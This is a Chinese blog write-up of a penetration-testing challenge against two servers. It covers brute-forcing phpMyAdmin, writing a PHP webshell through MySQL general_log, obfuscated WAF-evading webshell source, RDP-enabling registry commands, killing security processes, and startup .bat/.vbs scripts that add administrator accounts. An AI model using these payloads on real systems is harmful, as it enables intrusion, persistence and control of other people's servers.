学习网络安全实验室

getshell之后难忘的经历

2018-09-13  本文已影响1455人  蚁景科技

本文为原创文章 转载请注明出处!


1前言

背景是这样的,大佬moza在两台服务器搭了一道题,说是组合getshell 

问过Moza大佬,说投稿前要打码。

2整理思路

直接测试第二个,加了waf的那台服务器 打开链接,发现有部分源码泄露

根据源码提示,无报错,那是基于时间的延迟注入,那可以注出账号密码,一般和登陆后台结合

那先找后台,直接御剑扫目录,只发现/phpmyadmin/目录

并且还把我ip给ban了,幸亏我是校园网,无数次断开外网重连。

到这里,基本确定就是延时注入拿到phpmyadmin的账号密码,然后进行phpmyadmin的后台getshell

3测试开始

后台查询语句:$sql="select* from userinfo where id =$uid";这里id不需要绕过,直接上测试语句

1 andif(0=1,1,sleep(6))

居然直接返回,正确应该是等待6秒的。我怀疑是过滤了空格和and,用+,/**/,%230E等代替空格,大小写,双写,中间插空字符,一样不行。去问moza大佬,说你再想想。好吧,百度一波,没找到啥有用的,哪位大佬知道的望指教

4爆破

嗯,回到起点,这时我点开phpmyadmin后台页面,突然有个小想法

没有验证码的,那我可以直接爆破出账号密码,据我了解moza大佬有点懒,应该会是弱口令。我拿出我收藏的字典,利用burpsuite的爆破模块进行爆破,字典有点大,我是以clusterbomb方式,又没设置多线程,所以会很慢。先让它跑先。到了下午,还没跑出来,1万多条只跑了6000多。关掉吧,应该是字典问题,把字典一些常见的弱口令复制出来,再结合一些关键词rootmoza,进行组合字典。然后抓包继续爆破

每爆破一百多条,ip就被ban掉,苦逼的重新整理字典重新爆破,最后终于有点结果。尝试这几组特殊结果,root  xxxx成功,登陆成功

5phpmyadmin 后台getshell

接下来就是phpmyadmin后台getshell,一个老套路加新姿势,先找绝对路径,报错,google,访问phpmyadmin特定文件,找phpinfo无法爆出路径。在变量可知道mysql的绝对路径,那网站根目录会是www或WWW

后来想到在generaload file利用日志文件可以验证,路径正确,成功修改日志文件的路径,错误会报错ps:这里的generalload file 后面的新姿势会用到

老套路:直接从表导出数据:(我一开始执行写入不了,后来改先执行前两句,再进入创建的表执行下一句)

CREATETABLE `mysql`.`study` (`mozhe` TEXT NOT NULL );

INSERTINTO `mysql`.`study` (`mozhe` )VALUES ('<?php@eval_r($_POST[“mozhe”])?>');

SELECT7on FROM study INTO OUTFILE 'C:/web/WWW/mozhe.php';

尝试老套路,直接失败,意料之中,因为之前moza说开了waf和禁用了一些函数的

showglobal variables like '%secure%';

果然securefile priv值为null,不能进行导出导入数据。新姿势,针对intooutfile 被禁用,无法导出导入文件。当然也可以先设置general_log变量为on和general_log_file为我们已知的路径,最后执行最后的语句

SETglobal general_log='on';

SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果没有shell.php会自动创建

SELECT'<?php assert($_POST["cmd"]);?>';

利用新姿势,成功在mysql的日志文件中写入一句话并成功解析php文件,webshell路径为日志文件shell.php

在我开开心心连菜刀时,我懵了。。。

直接被拦截了,看来是waf和防火墙,菜刀被狗吃了,连一次ban一次ip

6漫漫getshell路

之后想到,第一、免杀过狗菜刀、xise配合免杀一句话试试:上传免杀一句话

.<?php

/*

PHP一句话木马

assert($string)

*/

$arr= array('a','s','s','e','r','t');

$func= '';

for($i=0;$i<count($arr);$i++){

$func.= $func . $arr[$i];

}

$func($_REQUEST['c']);

?>

下载免杀过狗菜刀、xise一大丢附带软件,坑爹,去ichunqiu52pojie pansousou 基本资源都过期了。

找到一个,尝试与免杀一句话,连接,还是狗厉害点。第二,利用一句话原理,本地上次一个大马,或者直接列目录读文件,百度、百度

https://wenku.baidu.com/view/97278d2a7375a417866f8f1d.html

一句话基本原理都有讲,没找到想要的,留到以后学学,尝试就上传大马,利用phpmyadmin新姿势,上传普通大马,写进日志文件shell.php,无法正常解析,怀疑是与之前写入的一句话有影响,重新新建个shell1.php日志文件,失败

可能是大马过大,写入的数据有大小限制

下载个精小php大马

http://webshell8.com/

内存大小2k,上传还是失败。静下来想想,我本地可以搭一个环境,本地试验下写入的日志文件嘛,说干就干,phpstudy走起,进入我的phpmyadmin管理页面,本地我写入刚下载的大马,完整的上传进去了,不过连接失败

反复测试,删除一些多余东西。后来有所发现,原因是多了后面的一些日志信息导致无法正常解析大马,那就注释掉

利用/*注释

构造

SELECT'<?php

$password='admin';//登录密码

//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。

//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。

$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*//*';

上面的是大马源码,执行时会报错,但写进mysql日志文件shell.php了

访问大马,执行成功

可以看到大马成功解析,虽然也报了不少错误,但不影响核心功能。进去重新上传个大马damaxiao.php

终于getshell了,同理也把39.xx.xx.x9这台服务器也getshell成功

7添加用户

权限很高,直接是system权限直接利用大马添加用户

39.xx.xx.xx9

不过3389端口没开,小白就喜欢直接利用大佬们的exp直接开启端口,开启3389的SQL语句:syue.com/xiaohua.asp?id=100;execmaster.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,0;–

开3389端口的命令:

REG   ADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal”“Server/vfDenyTSConnections /t REG_DWORD /d 0 /f

很大可能不成功,预料之中,但有一个不常见的12345端口,可能是远程连接服务端口

本地没装nmap,利用webrobot扫下,看能不能识别,12345端口对应啥服务

没啥提示,突然模糊记得他说过这台服务器3389端口不行,换了个端口。尝试12345

39.xx.xx.xx9拿下

另一台,12x.xx.xx.x2权限也很高,开了3389。不过有d盾和阿里云防护,变态监控无法添加用户,结束阿里云,d盾进程taskkill/im 进程名/f

还是添加失败

百度一下systeminfo

KB952004、KB956572、KB970483这三个补丁,分别对应,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权

都打了补丁,利用api的wscript组件添加,找到它本地的cmd路径,无法执行cmd命令

Shell.users组件也一样添加失败

看了许多大佬的渗透笔记

https://blog.csdn.net/u013278898/article/details/39024035

https://blog.csdn.net/Fly_hps/article/details/80568660

很多骚思路

ftp添加用户

注册表添加用户

上传cmd执行net1,net2添加用户

爆用户密码,上传“PwDump7,破解当前管理密码(hash值)”,俩执行PwDump7.exe,之后到网站去解密。小白对大佬们膜拜,这些思路的以后一个一个去复现下

8开机自启动脚本添加用户

在这里看到一个可以写开机自启vbsbat执行脚本进行添加用户,猛地觉得有希望。首先找到开机启动的绝对路径,当前系统为WINNT32,百度其启动路径,一番查找后,终于发先它与win8.1的路径一样,开机启动路径:

C:/ProgramData/Microsoft/Windows/StartMenu/Programs/Startup

执行脚本如下:

*.bat

@echooff

netuser mozhe1 123321 /add

netlocalgroup administartors mozhe1 /add

*.vbs

setwshshell=createobject("wscript.shell")

wshshell.run"net user mozhe2 123321 /add",0

wshshell.run"net localgroup administrators mozhe2 /add",0

上传脚本

然后就重启服务器shutdown /r,没想到服务器是重启了,可是他的php,apache,sql等环境没重启,才记得是phpstudy,只能叫moza大佬重启下,期待的Netuser 没有添加成功,不明白,继续费脑力中,后来莫名想起一个工具,大灰狼远控,我想能不能生成远控木马,放到开机自启动目录

本地监听中

上传生成的远控马

重启服务器shutdown /r,没反应,这就尴尬了,可能被狗杀了,想想有没有过狗的,但暂时找不到资源

9峰回路转添加成功

就在我决定放弃了,睡觉了的时候,手贱迷茫的乱打netuser mozhe131 fbb.54asfd /add

卧槽!!!居然成功了,我不敢相信的默默地添加管理组

Good!!突然想起一句话,蓦然回首,那人却在灯火阑珊处。后来知道是设置了密码策略,gg,我记得信息安全这门课学过的,对不起老师啊。那之前的添加开机自启动的脚本思路应该是对的,修改下密码,测试一番,继续重启动服务器shutdown/r    重启开机后Net user ,终于。。。

不过.bat添加的只是标准用户,.vbs添加的是管理员,应该是.bat脚本的最后一句话没有执行成功,留到下次测试下。

远程登陆

终于完成,不是太完美,但心满意足了,睡觉去了,要猝死的。。。熬夜。大马用户搞完也就删了。


文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

上一篇下一篇

猜你喜欢

热点阅读